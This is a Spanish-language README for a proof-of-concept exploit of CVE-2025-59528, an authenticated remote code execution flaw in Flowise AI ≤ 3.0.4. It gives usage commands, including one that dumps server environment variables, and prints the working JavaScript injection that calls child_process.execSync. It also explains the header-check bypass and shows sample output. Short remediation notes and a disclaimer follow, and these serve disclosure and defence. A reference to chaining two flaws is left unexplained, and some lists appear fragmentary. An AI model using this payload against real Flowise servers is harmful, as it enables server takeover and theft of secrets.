Exploit de Ejecución Remota de Código (RCE) autenticada para Flowise AI versiones ≤ 3.0.4. Aprovecha una vulnerabilidad en el endpoint /api/v1/node-load-method/customMCP para ejecutar comandos arbitrarios del sistema mediante Node.js child_process.execSync(). Incluye script PoC completo y pasos de remediación.
ID de CVE: CVE-2025-59528
Software afectado: Flowise AI
Versiones vulnerables: <= 3.0.4
Versión corregida: 3.0.5 y posteriores
Gravedad: Crítica
Autor: r3nsi15
Fecha: 2025
Las versiones de Flowise AI hasta la 3.0.4 inclusive permiten a un usuario autenticado lograr Ejecución Remota de Código (RCE) en el servidor anfitrión enviando un payload de JavaScript manipulado al endpoint /api/v1/node-load-method/customMCP.
El método de carga del nodo customMCP acepta entrada controlada por el usuario que se evalúa en el lado del servidor como JavaScript, sin una sanitización o aislamiento (sandboxing) adecuados. Al inyectar un payload que aprovecha child_process.execSync de Node.js, un atacante puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Flowise.
El endpoint también requiere que esté presente la cabecera x-request-from: internal.
| Endpoint | Método | Autenticación requerida | Propósito |
|---|---|---|---|
/api/v1/auth/login | POST | No | Autenticar y obtener sesión |
/api/v1/node-load-method/customMCP | POST | Sí (cookie de sesión) | Endpoint vulnerable del método de carga de nodo |
Archivo: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Forma larga | Requerido | Descripción |
|---|---|---|---|
-e | --email | Sí | Dirección de correo electrónico del usuario autenticado |
-i | --url | Sí | URL base de la instancia de Flowise |
-p | --password | Sí | Contraseña del usuario autenticado |
-c | --cmd | Sí | Comando del sistema operativo a ejecutar en el servidor |
Verificar la ejecución de código:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Obtener las variables de entorno del servidor:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
El exploit inyecta la siguiente expresión de JavaScript en el campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — carga el módulo de ejecución de procesos integrado de Node.js.execSync('<command>') — ejecuta sincrónicamente el comando del sistema operativo proporcionado por el atacante.La cabecera x-request-from: internal también se añade a la petición para superar una comprobación de origen interno que, de otro modo, bloquearía la llamada.
El endpoint customMCP pasa la entrada proporcionada por el usuario directamente a un contexto de evaluación de JavaScript en el servidor, sin sanitización ni aislamiento. Combinado con el acceso sin restricciones a los módulos principales de Node.js (específicamente child_process) mediante process.mainModule.require, esto crea un vector RCE trivialmente explotable. La comprobación de la cabecera x-request-from no proporciona ninguna frontera de seguridad real, ya que no se valida contra ninguna fuente de confianza.
Estas dos vulnerabilidades pueden encadenarse para lograr una ruta de ataque RCE sin autenticación contra instancias de Flowise que ejecuten versiones <= 3.0.4:
child_process, fs, etc.) mediante un sandbox adecuado (p. ej., vm2, contextos aislados, o eliminando el acceso a process.mainModule).x-request-from mediante un mecanismo del lado del servidor, en lugar de una simple comprobación de cadena.Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el mal uso.